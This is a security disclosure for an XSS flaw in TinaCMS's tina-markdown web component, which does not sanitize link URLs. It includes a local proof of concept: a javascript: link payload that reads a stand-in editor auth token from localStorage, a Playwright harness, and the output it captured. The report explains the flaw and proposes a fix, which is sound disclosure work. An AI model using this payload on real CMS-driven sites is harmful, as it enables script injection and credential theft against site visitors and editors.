renders a rich-text AST into the DOM and, for a nodes, assigns the node's URL straight to the anchor's href with no scheme check. A link authored in the CMS as javascript:… renders as a live javascript: anchor, so a visitor who clicks it executes attacker-supplied script in the site's origin. Every sibling renderer in the repository already sanitizes these URLs; this one does not.
// detailsThe unvalidated sink:
packages/@tinacms/web-components/src/tina-markdown.js:67-69
if (node.type === 'html' || node.type === 'html_inline') {
return DOMPurify.sanitize(node.value, { RETURN_DOM_FRAGMENT: true });
}
packages/@tinacms/web-components/src/tina-markdown.js:75 if (node.url && node.type === 'a') el.href = node.url;
packages/@tinacms/web-components/src/tina-markdown.js:76 if (node.url && node.type === 'img') el.src = node.url;node.url comes from the content attribute the site populates from the TinaCMS content API (:169-176), i.e. whatever a content author typed into a rich-text field. The DOMPurify call at :68 handles only raw-HTML node values and returns before the anchor branch, so it never inspects node.url. Line 75 is a direct property assignment — no HTML parser, no sanitizer. The mode: 'open' shadow root (:164-167) provides no script isolation.
The guard that exists in every sibling renderer:
packages/@tinacms/mdx/src/sanitize-url.ts:10 allowedSchemes = ['http','https','mailto','tel','xref'] packages/tinacms/src/rich-text/index.tsx:335 packages/tinacms/src/rich-text/index.tsx:322 packages/tinacms/src/rich-text/static.tsx:254 packages/tinacms/src/rich-text/static.tsx:242 packages/@tinacms/astro/src/LinkNode.astro:19 packages/@tinacms/astro/src/ImageNode.astro:16
tina-markdown.js:75 is the only rich-text link sink in the repository that omits it — six of seven sanitize.
That this is an oversight rather than intent: the 0.2.0 changelog entry states the goal of "matching the components prop on the React and Astro renderers" while adding DOMPurify for html nodes, and packages/@tinacms/web-components/src/tina-markdown.test.ts:83-96 only asserts that an https://example.com link renders — no scheme case is covered either way.
Default-enabled: customElements.define('tina-markdown', TinaMarkdown) runs at module scope (:179); importing the published entry point is the whole setup, with no option object or sanitizer setting.
Suggested fix — reuse the existing dependency-free subpath export rather than adding a third implementation:
import { sanitizeUrl } from '@tinacms/mdx/sanitize-url';
if (node.url && node.type === 'a') el.href = sanitizeUrl(node.url);
if (node.url && node.type === 'img') el.src = sanitizeUrl(node.url);Variant with the same root cause and the same fix: :76 (img.src). A javascript: URL does not execute from img.src, so it is not scored here, but the line has no validation either — which is why @tinacms/astro carries a separate sanitizeImageSrc.
// pocSafe, local, non-destructive. One loopback server stands in for a public site rendering CMS rich-text. The page loads tina-markdown.js byte-for-byte from the checkout (bundled with its declared dompurify dependency) and also exposes the repository's own sanitizeUrl so the same input can be run through the canonical guard as a control. No traffic leaves the machine; the payload only writes a page-local variable.
Environment used: Linux, Node v22.23.1, Google Chrome (/usr/bin/google-chrome) driven by playwright@1.49.0.
Setup
git clone https://github.com/tinacms/tinacms.git tinacms-poc cd tinacms-poc && git checkout 0d38acfdd23143384b8787d5d772b713fa7af163 REPO=$PWD mkdir -p /tmp/tina-tm/site && cd /tmp/tina-tm npm init -y >/dev/null npm i --ignore-scripts dompurify@3.3.1 esbuild@0.25.0 playwright@1.49.0 cp "$REPO/packages/@tinacms/web-components/src/tina-markdown.js" ./tina-markdown.js cp "$REPO/packages/@tinacms/mdx/src/sanitize-url.ts" ./sanitize-url.ts
entry.js:
import './tina-markdown.js'; // registers
import { sanitizeUrl } from './sanitize-url.ts'; // the canonical guard, for the control
window.__sanitizeUrl = sanitizeUrl;site/index.html — the AST is what @tinacms/graphql returns for the markdown source [click me](javascript:…):
public site rendering CMS rich-text
Site page
const ast = {
type: 'root',
children: [
{ type: 'p', children: [
{ type: 'a',
url: "javascript:window.__pwned=document.domain+' | localStorage[tinacms-auth]='+localStorage.getItem('tinacms-auth');void 0",
children: [{ type: 'text', text: 'click me' }] }
]}
]
};
// Stand-in for a signed-in editor's stored TinaCMS credential. The real key and
// value are written by packages/tinacms/src/internalClient/authProvider.ts:117.
localStorage.setItem('tinacms-auth', 'DEMO-EDITOR-TOKEN');
const el = document.createElement('tina-markdown');
el.setAttribute('content', JSON.stringify(ast));
document.getElementById('host').appendChild(el);
window.__ready = true;run.cjs:
const http=require('http'),fs=require('fs'),path=require('path'),{chromium}=require('playwright');
const PORT=8811, DIR=path.join(__dirname,'site');
const srv=http.createServer((req,res)=>{const p=req.url==='/'?'/index.html':req.url.split('?')[0];
const f=path.join(DIR,p); if(!f.startsWith(DIR)||!fs.existsSync(f)){res.writeHead(404).end('nf');return;}
res.writeHead(200,{'content-type':p.endsWith('.js')?'text/javascript':'text/html; charset=utf-8'});
res.end(fs.readFileSync(f));});
(async()=>{await new Promise(r=>srv.listen(PORT,'127.0.0.1',r));
const browser=await chromium.launch({executablePath:'/usr/bin/google-chrome'});
const page=await browser.newPage();
await page.goto(`http://127.0.0.1:${PORT}/`);
await page.waitForFunction(()=>window.__ready===true); await page.waitForTimeout(300);
const rendered=await page.evaluate(()=>{const a=document.querySelector('tina-markdown').shadowRoot.querySelector('a');
return {hrefAttr:a&&a.getAttribute('href')};});
await page.evaluate(()=>document.querySelector('tina-markdown').shadowRoot.querySelector('a').click());
await page.waitForTimeout(500);
const pwned=await page.evaluate(()=>window.__pwned||null);
const control=await page.evaluate(()=>window.__sanitizeUrl("javascript:window.__pwned = document.domain"));
console.log(JSON.stringify({renderedAnchorHref:rendered.hrefAttr, scriptExecutedOnClick:pwned!==null,
capturedByPayload:pwned, control_sanitizeUrl_output:control},null,2));
await browser.close(); srv.close();})();Run
cd /tmp/tina-tm npx esbuild entry.js --bundle --outfile=site/bundle.js --format=esm --loader:.ts=ts node run.cjs
Observed output (captured verbatim)
{
"renderedAnchorHref": "javascript:window.__pwned=document.domain+' | localStorage[tinacms-auth]='+localStorage.getItem('tinacms-auth');void 0",
"scriptExecutedOnClick": true,
"capturedByPayload": "127.0.0.1 | localStorage[tinacms-auth]=DEMO-EDITOR-TOKEN",
"control_sanitizeUrl_output": ""
}Expected vulnerable output — renderedAnchorHref is the attacker-supplied javascript: string unchanged (no scheme validation at the sink), scriptExecutedOnClick is true, and capturedByPayload contains the page's own domain plus the value read out of localStorage['tinacms-auth'] (script ran in the site origin with full read access to that origin's storage). All held.
Control — controlsanitizeUrloutput is "". The repository's own sanitizeUrl, invoked in the same browser realm on the same class of input, rejects the scheme. That is exactly what packages/tinacms/src/rich-text/index.tsx:335 and packages/@tinacms/astro/src/LinkNode.astro:19 do for the identical AST, which isolates the defect to the missing call rather than to the input or the harness.
Second control, internal to the same file: an html node carrying x is stripped by the DOMPurify call at :68, so the same payload delivered as raw HTML is blocked while the same payload delivered as a link node is not.